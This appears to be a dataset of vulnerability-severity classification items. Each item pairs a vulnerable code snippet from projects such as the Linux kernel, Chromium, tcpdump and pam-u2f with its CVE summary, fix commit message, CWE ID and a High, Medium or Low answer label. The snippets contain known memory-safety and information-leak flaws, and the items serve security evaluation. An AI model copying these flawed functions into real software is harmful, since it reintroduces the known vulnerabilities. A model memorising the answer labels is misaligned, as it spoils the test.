Summary: The dgram_recvmsg function in net/ieee802154/dgram.c in the Linux kernel before 3.12.4 updates a certain length value without ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel stack memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.
Commit Message: inet: prevent leakage of uninitialized memory to user in recv syscalls
Only update *addr_len when we actually fill in sockaddr, otherwise we
can return uninitialized memory from the stack to the caller in the
recvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL)
checks because we only get called with a valid addr_len pointer either
from sock_common_recvmsg or inet_recvmsg.
If a blocking read waits on a socket which is concurrently shut down we
now return zero and set msg_msgnamelen to 0.
Reported-by: mpb <[email protected]>
Suggested-by: Eric Dumazet <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]> | Medium | 166,480 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: long VideoTrack::Parse(
Segment* pSegment,
const Info& info,
long long element_start,
long long element_size,
VideoTrack*& pResult)
{
if (pResult)
return -1;
if (info.type != Track::kVideo)
return -1;
long long width = 0;
long long height = 0;
double rate = 0.0;
IMkvReader* const pReader = pSegment->m_pReader;
const Settings& s = info.settings;
assert(s.start >= 0);
assert(s.size >= 0);
long long pos = s.start;
assert(pos >= 0);
const long long stop = pos + s.size;
while (pos < stop)
{
long long id, size;
const long status = ParseElementHeader(
pReader,
pos,
stop,
id,
size);
if (status < 0) //error
return status;
if (id == 0x30) //pixel width
{
width = UnserializeUInt(pReader, pos, size);
if (width <= 0)
return E_FILE_FORMAT_INVALID;
}
else if (id == 0x3A) //pixel height
{
height = UnserializeUInt(pReader, pos, size);
if (height <= 0)
return E_FILE_FORMAT_INVALID;
}
else if (id == 0x0383E3) //frame rate
{
const long status = UnserializeFloat(
pReader,
pos,
size,
rate);
if (status < 0)
return status;
if (rate <= 0)
return E_FILE_FORMAT_INVALID;
}
pos += size; //consume payload
assert(pos <= stop);
}
assert(pos == stop);
VideoTrack* const pTrack = new (std::nothrow) VideoTrack(pSegment,
element_start,
element_size);
if (pTrack == NULL)
return -1; //generic error
const int status = info.Copy(pTrack->m_info);
if (status) // error
{
delete pTrack;
return status;
}
pTrack->m_width = width;
pTrack->m_height = height;
pTrack->m_rate = rate;
pResult = pTrack;
return 0; //success
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 | High | 174,406 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: const UsbDeviceHandle::TransferCallback& callback() const {
return callback_;
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 43.0.2357.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: Update helper classes in usb_device_handle_unittest for OnceCallback
Helper classes in usb_device_handle_unittest.cc don't fit to OnceCallback
migration, as they are copied and passed to others.
This CL updates them to pass new callbacks for each use to avoid the
copy of callbacks.
Bug: 714018
Change-Id: Ifb70901439ae92b6b049b84534283c39ebc40ee0
Reviewed-on: https://chromium-review.googlesource.com/527549
Reviewed-by: Ken Rockot <[email protected]>
Commit-Queue: Taiju Tsuiki <[email protected]>
Cr-Commit-Position: refs/heads/master@{#478549} | High | 171,978 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: PassRefPtr<DrawingBuffer> DrawingBuffer::Create(
std::unique_ptr<WebGraphicsContext3DProvider> context_provider,
Client* client,
const IntSize& size,
bool premultiplied_alpha,
bool want_alpha_channel,
bool want_depth_buffer,
bool want_stencil_buffer,
bool want_antialiasing,
PreserveDrawingBuffer preserve,
WebGLVersion web_gl_version,
ChromiumImageUsage chromium_image_usage,
const CanvasColorParams& color_params) {
DCHECK(context_provider);
if (g_should_fail_drawing_buffer_creation_for_testing) {
g_should_fail_drawing_buffer_creation_for_testing = false;
return nullptr;
}
std::unique_ptr<Extensions3DUtil> extensions_util =
Extensions3DUtil::Create(context_provider->ContextGL());
if (!extensions_util->IsValid()) {
return nullptr;
}
DCHECK(extensions_util->SupportsExtension("GL_OES_packed_depth_stencil"));
extensions_util->EnsureExtensionEnabled("GL_OES_packed_depth_stencil");
bool multisample_supported =
want_antialiasing &&
(extensions_util->SupportsExtension(
"GL_CHROMIUM_framebuffer_multisample") ||
extensions_util->SupportsExtension(
"GL_EXT_multisampled_render_to_texture")) &&
extensions_util->SupportsExtension("GL_OES_rgb8_rgba8");
if (multisample_supported) {
extensions_util->EnsureExtensionEnabled("GL_OES_rgb8_rgba8");
if (extensions_util->SupportsExtension(
"GL_CHROMIUM_framebuffer_multisample"))
extensions_util->EnsureExtensionEnabled(
"GL_CHROMIUM_framebuffer_multisample");
else
extensions_util->EnsureExtensionEnabled(
"GL_EXT_multisampled_render_to_texture");
}
bool discard_framebuffer_supported =
extensions_util->SupportsExtension("GL_EXT_discard_framebuffer");
if (discard_framebuffer_supported)
extensions_util->EnsureExtensionEnabled("GL_EXT_discard_framebuffer");
RefPtr<DrawingBuffer> drawing_buffer = AdoptRef(new DrawingBuffer(
std::move(context_provider), std::move(extensions_util), client,
discard_framebuffer_supported, want_alpha_channel, premultiplied_alpha,
preserve, web_gl_version, want_depth_buffer, want_stencil_buffer,
chromium_image_usage, color_params));
if (!drawing_buffer->Initialize(size, multisample_supported)) {
drawing_buffer->BeginDestruction();
return PassRefPtr<DrawingBuffer>();
}
return drawing_buffer;
}
Vulnerability Type: Exec Code Overflow
CWE ID: CWE-119
Summary: Heap buffer overflow in WebGL in Google Chrome prior to 61.0.3163.79 for Windows allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
[email protected],[email protected]
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#486518} | Medium | 172,290 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static enum led_brightness k90_backlight_get(struct led_classdev *led_cdev)
{
int ret;
struct k90_led *led = container_of(led_cdev, struct k90_led, cdev);
struct device *dev = led->cdev.dev->parent;
struct usb_interface *usbif = to_usb_interface(dev->parent);
struct usb_device *usbdev = interface_to_usbdev(usbif);
int brightness;
char data[8];
ret = usb_control_msg(usbdev, usb_rcvctrlpipe(usbdev, 0),
K90_REQUEST_STATUS,
USB_DIR_IN | USB_TYPE_VENDOR |
USB_RECIP_DEVICE, 0, 0, data, 8,
USB_CTRL_SET_TIMEOUT);
if (ret < 0) {
dev_warn(dev, "Failed to get K90 initial state (error %d).\n",
ret);
return -EIO;
}
brightness = data[4];
if (brightness < 0 || brightness > 3) {
dev_warn(dev,
"Read invalid backlight brightness: %02hhx.\n",
data[4]);
return -EIO;
}
return brightness;
}
Vulnerability Type: DoS Overflow Mem. Corr.
CWE ID: CWE-119
Summary: drivers/hid/hid-corsair.c in the Linux kernel 4.9.x before 4.9.6 interacts incorrectly with the CONFIG_VMAP_STACK option, which allows local users to cause a denial of service (system crash or memory corruption) or possibly have unspecified other impact by leveraging use of more than one virtual page for a DMA scatterlist.
Commit Message: HID: corsair: fix DMA buffers on stack
Not all platforms support DMA to the stack, and specifically since v4.9
this is no longer supported on x86 with VMAP_STACK either.
Note that the macro-mode buffer was larger than necessary.
Fixes: 6f78193ee9ea ("HID: corsair: Add Corsair Vengeance K90 driver")
Cc: stable <[email protected]>
Signed-off-by: Johan Hovold <[email protected]>
Signed-off-by: Jiri Kosina <[email protected]> | High | 168,393 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int common_timer_set(struct k_itimer *timr, int flags,
struct itimerspec64 *new_setting,
struct itimerspec64 *old_setting)
{
const struct k_clock *kc = timr->kclock;
bool sigev_none;
ktime_t expires;
if (old_setting)
common_timer_get(timr, old_setting);
/* Prevent rearming by clearing the interval */
timr->it_interval = 0;
/*
* Careful here. On SMP systems the timer expiry function could be
* active and spinning on timr->it_lock.
*/
if (kc->timer_try_to_cancel(timr) < 0)
return TIMER_RETRY;
timr->it_active = 0;
timr->it_requeue_pending = (timr->it_requeue_pending + 2) &
~REQUEUE_PENDING;
timr->it_overrun_last = 0;
/* Switch off the timer when it_value is zero */
if (!new_setting->it_value.tv_sec && !new_setting->it_value.tv_nsec)
return 0;
timr->it_interval = timespec64_to_ktime(new_setting->it_interval);
expires = timespec64_to_ktime(new_setting->it_value);
sigev_none = (timr->it_sigev_notify & ~SIGEV_THREAD_ID) == SIGEV_NONE;
kc->timer_arm(timr, expires, flags & TIMER_ABSTIME, sigev_none);
timr->it_active = !sigev_none;
return 0;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The timer_create syscall implementation in kernel/time/posix-timers.c in the Linux kernel before 4.14.8 doesn't properly validate the sigevent->sigev_notify field, which leads to out-of-bounds access in the show_timer function (called when /proc/$PID/timers is read). This allows userspace applications to read arbitrary kernel memory (on a kernel built with CONFIG_POSIX_TIMERS and CONFIG_CHECKPOINT_RESTORE).
Commit Message: posix-timer: Properly check sigevent->sigev_notify
timer_create() specifies via sigevent->sigev_notify the signal delivery for
the new timer. The valid modes are SIGEV_NONE, SIGEV_SIGNAL, SIGEV_THREAD
and (SIGEV_SIGNAL | SIGEV_THREAD_ID).
The sanity check in good_sigevent() is only checking the valid combination
for the SIGEV_THREAD_ID bit, i.e. SIGEV_SIGNAL, but if SIGEV_THREAD_ID is
not set it accepts any random value.
This has no real effects on the posix timer and signal delivery code, but
it affects show_timer() which handles the output of /proc/$PID/timers. That
function uses a string array to pretty print sigev_notify. The access to
that array has no bound checks, so random sigev_notify cause access beyond
the array bounds.
Add proper checks for the valid notify modes and remove the SIGEV_THREAD_ID
masking from various code pathes as SIGEV_NONE can never be set in
combination with SIGEV_THREAD_ID.
Reported-by: Eric Biggers <[email protected]>
Reported-by: Dmitry Vyukov <[email protected]>
Reported-by: Alexey Dobriyan <[email protected]>
Signed-off-by: Thomas Gleixner <[email protected]>
Cc: John Stultz <[email protected]>
Cc: [email protected] | Low | 169,372 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: UINT32 UIPC_Read(tUIPC_CH_ID ch_id, UINT16 *p_msg_evt, UINT8 *p_buf, UINT32 len)
{
int n;
int n_read = 0;
int fd = uipc_main.ch[ch_id].fd;
struct pollfd pfd;
UNUSED(p_msg_evt);
if (ch_id >= UIPC_CH_NUM)
{
BTIF_TRACE_ERROR("UIPC_Read : invalid ch id %d", ch_id);
return 0;
}
if (fd == UIPC_DISCONNECTED)
{
BTIF_TRACE_ERROR("UIPC_Read : channel %d closed", ch_id);
return 0;
}
while (n_read < (int)len)
{
pfd.fd = fd;
pfd.events = POLLIN|POLLHUP;
/* make sure there is data prior to attempting read to avoid blocking
a read for more than poll timeout */
if (poll(&pfd, 1, uipc_main.ch[ch_id].read_poll_tmo_ms) == 0)
{
BTIF_TRACE_EVENT("poll timeout (%d ms)", uipc_main.ch[ch_id].read_poll_tmo_ms);
break;
}
if (pfd.revents & (POLLHUP|POLLNVAL) )
{
BTIF_TRACE_EVENT("poll : channel detached remotely");
UIPC_LOCK();
uipc_close_locked(ch_id);
UIPC_UNLOCK();
return 0;
}
n = recv(fd, p_buf+n_read, len-n_read, 0);
if (n == 0)
{
BTIF_TRACE_EVENT("UIPC_Read : channel detached remotely");
UIPC_LOCK();
uipc_close_locked(ch_id);
UIPC_UNLOCK();
return 0;
}
if (n < 0)
{
BTIF_TRACE_EVENT("UIPC_Read : read failed (%s)", strerror(errno));
return 0;
}
n_read+=n;
}
return n_read;
}
Vulnerability Type: DoS
CWE ID: CWE-284
Summary: Bluetooth in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-08-01 allows attackers to cause a denial of service (loss of Bluetooth 911 functionality) via a crafted application that sends a signal to a Bluetooth process, aka internal bug 28885210.
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
| Medium | 173,493 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int can_open_cached(struct nfs4_state *state, int mode)
{
int ret = 0;
switch (mode & (FMODE_READ|FMODE_WRITE|O_EXCL)) {
case FMODE_READ:
ret |= test_bit(NFS_O_RDONLY_STATE, &state->flags) != 0;
break;
case FMODE_WRITE:
ret |= test_bit(NFS_O_WRONLY_STATE, &state->flags) != 0;
break;
case FMODE_READ|FMODE_WRITE:
ret |= test_bit(NFS_O_RDWR_STATE, &state->flags) != 0;
}
return ret;
}
Vulnerability Type: DoS
CWE ID:
Summary: The encode_share_access function in fs/nfs/nfs4xdr.c in the Linux kernel before 2.6.29 allows local users to cause a denial of service (BUG and system crash) by using the mknod system call with a pathname on an NFSv4 filesystem.
Commit Message: NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <[email protected]> | Medium | 165,686 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: Page* ChromeClientImpl::CreateWindow(LocalFrame* frame,
const FrameLoadRequest& r,
const WebWindowFeatures& features,
NavigationPolicy navigation_policy,
SandboxFlags sandbox_flags) {
if (!web_view_->Client())
return nullptr;
if (!frame->GetPage() || frame->GetPage()->Paused())
return nullptr;
DCHECK(frame->GetDocument());
Fullscreen::FullyExitFullscreen(*frame->GetDocument());
const AtomicString& frame_name =
!EqualIgnoringASCIICase(r.FrameName(), "_blank") ? r.FrameName()
: g_empty_atom;
WebViewImpl* new_view =
static_cast<WebViewImpl*>(web_view_->Client()->CreateView(
WebLocalFrameImpl::FromFrame(frame),
WrappedResourceRequest(r.GetResourceRequest()), features, frame_name,
static_cast<WebNavigationPolicy>(navigation_policy),
r.GetShouldSetOpener() == kNeverSetOpener,
static_cast<WebSandboxFlags>(sandbox_flags)));
if (!new_view)
return nullptr;
return new_view->GetPage();
}
Vulnerability Type:
CWE ID: CWE-20
Summary: Incorrect implementation in Blink in Google Chrome prior to 62.0.3202.62 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.
Commit Message: If a page shows a popup, end fullscreen.
This was implemented in Blink r159834, but it is susceptible
to a popup/fullscreen race. This CL reverts that implementation
and re-implements it in WebContents.
BUG=752003
TEST=WebContentsImplBrowserTest.PopupsFromJavaScriptEndFullscreen
Change-Id: Ia345cdeda273693c3231ad8f486bebfc3d83927f
Reviewed-on: https://chromium-review.googlesource.com/606987
Commit-Queue: Avi Drissman <[email protected]>
Reviewed-by: Charlie Reis <[email protected]>
Reviewed-by: Philip Jägenstedt <[email protected]>
Cr-Commit-Position: refs/heads/master@{#498171} | Medium | 172,952 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: GLboolean WebGLRenderingContextBase::isShader(WebGLShader* shader) {
if (!shader || isContextLost())
return 0;
return ContextGL()->IsShader(shader->Object());
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: Insufficient data validation in WebGL in Google Chrome prior to 68.0.3440.75 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Commit Message: Validate all incoming WebGLObjects.
A few entry points were missing the correct validation.
Tested with improved conformance tests in
https://github.com/KhronosGroup/WebGL/pull/2654 .
Bug: 848914
Cq-Include-Trybots: luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel
Change-Id: Ib98a61cc5bf378d1b3338b04acd7e1bc4c2fe008
Reviewed-on: https://chromium-review.googlesource.com/1086718
Reviewed-by: Kai Ninomiya <[email protected]>
Reviewed-by: Antoine Labour <[email protected]>
Commit-Queue: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#565016} | Medium | 173,132 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc,
const char **argv) {
struct passwd *pw = NULL, pw_s;
const char *user = NULL;
cfg_t cfg_st;
cfg_t *cfg = &cfg_st;
char buffer[BUFSIZE];
char *buf = NULL;
char *authfile_dir;
size_t authfile_dir_len;
int pgu_ret, gpn_ret;
int retval = PAM_IGNORE;
device_t *devices = NULL;
unsigned n_devices = 0;
int openasuser;
int should_free_origin = 0;
int should_free_appid = 0;
int should_free_auth_file = 0;
int should_free_authpending_file = 0;
parse_cfg(flags, argc, argv, cfg);
if (!cfg->origin) {
strcpy(buffer, DEFAULT_ORIGIN_PREFIX);
if (gethostname(buffer + strlen(DEFAULT_ORIGIN_PREFIX),
BUFSIZE - strlen(DEFAULT_ORIGIN_PREFIX)) == -1) {
DBG("Unable to get host name");
goto done;
}
DBG("Origin not specified, using \"%s\"", buffer);
cfg->origin = strdup(buffer);
if (!cfg->origin) {
DBG("Unable to allocate memory");
goto done;
} else {
should_free_origin = 1;
}
}
if (!cfg->appid) {
DBG("Appid not specified, using the same value of origin (%s)",
cfg->origin);
cfg->appid = strdup(cfg->origin);
if (!cfg->appid) {
DBG("Unable to allocate memory")
goto done;
} else {
should_free_appid = 1;
}
}
if (cfg->max_devs == 0) {
DBG("Maximum devices number not set. Using default (%d)", MAX_DEVS);
cfg->max_devs = MAX_DEVS;
}
devices = malloc(sizeof(device_t) * cfg->max_devs);
if (!devices) {
DBG("Unable to allocate memory");
retval = PAM_IGNORE;
goto done;
}
pgu_ret = pam_get_user(pamh, &user, NULL);
if (pgu_ret != PAM_SUCCESS || user == NULL) {
DBG("Unable to access user %s", user);
retval = PAM_CONV_ERR;
goto done;
}
DBG("Requesting authentication for user %s", user);
gpn_ret = getpwnam_r(user, &pw_s, buffer, sizeof(buffer), &pw);
if (gpn_ret != 0 || pw == NULL || pw->pw_dir == NULL ||
pw->pw_dir[0] != '/') {
DBG("Unable to retrieve credentials for user %s, (%s)", user,
strerror(errno));
retval = PAM_USER_UNKNOWN;
goto done;
}
DBG("Found user %s", user);
DBG("Home directory for %s is %s", user, pw->pw_dir);
if (!cfg->auth_file) {
buf = NULL;
authfile_dir = secure_getenv(DEFAULT_AUTHFILE_DIR_VAR);
if (!authfile_dir) {
DBG("Variable %s is not set. Using default value ($HOME/.config/)",
DEFAULT_AUTHFILE_DIR_VAR);
authfile_dir_len =
strlen(pw->pw_dir) + strlen("/.config") + strlen(DEFAULT_AUTHFILE) + 1;
buf = malloc(sizeof(char) * (authfile_dir_len));
if (!buf) {
DBG("Unable to allocate memory");
retval = PAM_IGNORE;
goto done;
}
snprintf(buf, authfile_dir_len,
"%s/.config%s", pw->pw_dir, DEFAULT_AUTHFILE);
} else {
DBG("Variable %s set to %s", DEFAULT_AUTHFILE_DIR_VAR, authfile_dir);
authfile_dir_len = strlen(authfile_dir) + strlen(DEFAULT_AUTHFILE) + 1;
buf = malloc(sizeof(char) * (authfile_dir_len));
if (!buf) {
DBG("Unable to allocate memory");
retval = PAM_IGNORE;
goto done;
}
snprintf(buf, authfile_dir_len,
"%s%s", authfile_dir, DEFAULT_AUTHFILE);
}
DBG("Using default authentication file %s", buf);
cfg->auth_file = buf; /* cfg takes ownership */
should_free_auth_file = 1;
buf = NULL;
} else {
DBG("Using authentication file %s", cfg->auth_file);
}
openasuser = geteuid() == 0 && cfg->openasuser;
if (openasuser) {
if (seteuid(pw_s.pw_uid)) {
DBG("Unable to switch user to uid %i", pw_s.pw_uid);
retval = PAM_IGNORE;
goto done;
}
DBG("Switched to uid %i", pw_s.pw_uid);
}
retval = get_devices_from_authfile(cfg->auth_file, user, cfg->max_devs,
cfg->debug, cfg->debug_file,
devices, &n_devices);
if (openasuser) {
if (seteuid(0)) {
DBG("Unable to switch back to uid 0");
retval = PAM_IGNORE;
goto done;
}
DBG("Switched back to uid 0");
}
if (retval != 1) {
n_devices = 0;
}
if (n_devices == 0) {
if (cfg->nouserok) {
DBG("Found no devices but nouserok specified. Skipping authentication");
retval = PAM_SUCCESS;
goto done;
} else if (retval != 1) {
DBG("Unable to get devices from file %s", cfg->auth_file);
retval = PAM_AUTHINFO_UNAVAIL;
goto done;
} else {
DBG("Found no devices. Aborting.");
retval = PAM_AUTHINFO_UNAVAIL;
goto done;
}
}
if (!cfg->authpending_file) {
int actual_size = snprintf(buffer, BUFSIZE, DEFAULT_AUTHPENDING_FILE_PATH, getuid());
if (actual_size >= 0 && actual_size < BUFSIZE) {
cfg->authpending_file = strdup(buffer);
}
if (!cfg->authpending_file) {
DBG("Unable to allocate memory for the authpending_file, touch request notifications will not be emitted");
} else {
should_free_authpending_file = 1;
}
} else {
if (strlen(cfg->authpending_file) == 0) {
DBG("authpending_file is set to an empty value, touch request notifications will be disabled");
cfg->authpending_file = NULL;
}
}
int authpending_file_descriptor = -1;
if (cfg->authpending_file) {
DBG("Using file '%s' for emitting touch request notifications", cfg->authpending_file);
authpending_file_descriptor =
open(cfg->authpending_file, O_RDONLY | O_CREAT | O_CLOEXEC | O_NOFOLLOW | O_NOCTTY, 0664);
if (authpending_file_descriptor < 0) {
DBG("Unable to emit 'authentication started' notification by opening the file '%s', (%s)",
cfg->authpending_file, strerror(errno));
}
}
if (cfg->manual == 0) {
if (cfg->interactive) {
converse(pamh, PAM_PROMPT_ECHO_ON,
cfg->prompt != NULL ? cfg->prompt : DEFAULT_PROMPT);
}
retval = do_authentication(cfg, devices, n_devices, pamh);
} else {
retval = do_manual_authentication(cfg, devices, n_devices, pamh);
}
if (authpending_file_descriptor >= 0) {
if (close(authpending_file_descriptor) < 0) {
DBG("Unable to emit 'authentication stopped' notification by closing the file '%s', (%s)",
cfg->authpending_file, strerror(errno));
}
}
if (retval != 1) {
DBG("do_authentication returned %d", retval);
retval = PAM_AUTH_ERR;
goto done;
}
retval = PAM_SUCCESS;
done:
free_devices(devices, n_devices);
if (buf) {
free(buf);
buf = NULL;
}
if (should_free_origin) {
free((char *) cfg->origin);
cfg->origin = NULL;
}
if (should_free_appid) {
free((char *) cfg->appid);
cfg->appid = NULL;
}
if (should_free_auth_file) {
free((char *) cfg->auth_file);
cfg->auth_file = NULL;
}
if (should_free_authpending_file) {
free((char *) cfg->authpending_file);
cfg->authpending_file = NULL;
}
if (cfg->alwaysok && retval != PAM_SUCCESS) {
DBG("alwaysok needed (otherwise return with %d)", retval);
retval = PAM_SUCCESS;
}
DBG("done. [%s]", pam_strerror(pamh, retval));
if (cfg->is_custom_debug_file) {
fclose(cfg->debug_file);
}
return retval;
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: Yubico pam-u2f 1.0.7 attempts parsing of the configured authfile (default $HOME/.config/Yubico/u2f_keys) as root (unless openasuser was enabled), and does not properly verify that the path lacks symlinks pointing to other files on the system owned by root. If the debug option is enabled in the PAM configuration, part of the file contents of a symlink target will be logged, possibly revealing sensitive information.
Commit Message: Drop privileges by default when opening user-related files
The module is typically executed as root and would sometimes
open files or follow symlinks that could be controlled from the
outside.
Drop privileges to the target user before opening any files.
Fixes CVE-2019-12209.
Thanks to Matthias Gerstner of the SUSE Security Team for reporting
the issue. | Medium | 169,664 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: mp_join_print(netdissect_options *ndo,
const u_char *opt, u_int opt_len, u_char flags)
{
const struct mp_join *mpj = (const struct mp_join *) opt;
if (!(opt_len == 12 && flags & TH_SYN) &&
!(opt_len == 16 && (flags & (TH_SYN | TH_ACK)) == (TH_SYN | TH_ACK)) &&
!(opt_len == 24 && flags & TH_ACK))
return 0;
if (opt_len != 24) {
if (mpj->sub_b & MP_JOIN_B)
ND_PRINT((ndo, " backup"));
ND_PRINT((ndo, " id %u", mpj->addr_id));
}
switch (opt_len) {
case 12: /* SYN */
ND_PRINT((ndo, " token 0x%x" " nonce 0x%x",
EXTRACT_32BITS(mpj->u.syn.token),
EXTRACT_32BITS(mpj->u.syn.nonce)));
break;
case 16: /* SYN/ACK */
ND_PRINT((ndo, " hmac 0x%" PRIx64 " nonce 0x%x",
EXTRACT_64BITS(mpj->u.synack.mac),
EXTRACT_32BITS(mpj->u.synack.nonce)));
break;
case 24: {/* ACK */
size_t i;
ND_PRINT((ndo, " hmac 0x"));
for (i = 0; i < sizeof(mpj->u.ack.mac); ++i)
ND_PRINT((ndo, "%02x", mpj->u.ack.mac[i]));
}
default:
break;
}
return 1;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The MPTCP parser in tcpdump before 4.9.2 has a buffer over-read in print-mptcp.c, several functions.
Commit Message: CVE-2017-13040/MPTCP: Clean up printing DSS suboption.
Do the length checking inline; that means we print stuff up to the point
at which we run out of option data.
First check to make sure we have at least 4 bytes of option, so we have
flags to check.
This fixes a buffer over-read discovered by Kim Gwan Yeong.
Add a test using the capture file supplied by the reporter(s). | High | 167,838 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int em_sysexit(struct x86_emulate_ctxt *ctxt)
{
const struct x86_emulate_ops *ops = ctxt->ops;
struct desc_struct cs, ss;
u64 msr_data;
int usermode;
u16 cs_sel = 0, ss_sel = 0;
/* inject #GP if in real mode or Virtual 8086 mode */
if (ctxt->mode == X86EMUL_MODE_REAL ||
ctxt->mode == X86EMUL_MODE_VM86)
return emulate_gp(ctxt, 0);
setup_syscalls_segments(ctxt, &cs, &ss);
if ((ctxt->rex_prefix & 0x8) != 0x0)
usermode = X86EMUL_MODE_PROT64;
else
usermode = X86EMUL_MODE_PROT32;
cs.dpl = 3;
ss.dpl = 3;
ops->get_msr(ctxt, MSR_IA32_SYSENTER_CS, &msr_data);
switch (usermode) {
case X86EMUL_MODE_PROT32:
cs_sel = (u16)(msr_data + 16);
if ((msr_data & 0xfffc) == 0x0)
return emulate_gp(ctxt, 0);
ss_sel = (u16)(msr_data + 24);
break;
case X86EMUL_MODE_PROT64:
cs_sel = (u16)(msr_data + 32);
if (msr_data == 0x0)
return emulate_gp(ctxt, 0);
ss_sel = cs_sel + 8;
cs.d = 0;
cs.l = 1;
break;
}
cs_sel |= SELECTOR_RPL_MASK;
ss_sel |= SELECTOR_RPL_MASK;
ops->set_segment(ctxt, cs_sel, &cs, 0, VCPU_SREG_CS);
ops->set_segment(ctxt, ss_sel, &ss, 0, VCPU_SREG_SS);
ctxt->_eip = reg_read(ctxt, VCPU_REGS_RDX);
*reg_write(ctxt, VCPU_REGS_RSP) = reg_read(ctxt, VCPU_REGS_RCX);
return X86EMUL_CONTINUE;
}
Vulnerability Type: DoS
CWE ID: CWE-264
Summary: arch/x86/kvm/emulate.c in the KVM subsystem in the Linux kernel through 3.17.2 does not properly perform RIP changes, which allows guest OS users to cause a denial of service (guest OS crash) via a crafted application.
Commit Message: KVM: x86: Emulator fixes for eip canonical checks on near branches
Before changing rip (during jmp, call, ret, etc.) the target should be asserted
to be canonical one, as real CPUs do. During sysret, both target rsp and rip
should be canonical. If any of these values is noncanonical, a #GP exception
should occur. The exception to this rule are syscall and sysenter instructions
in which the assigned rip is checked during the assignment to the relevant
MSRs.
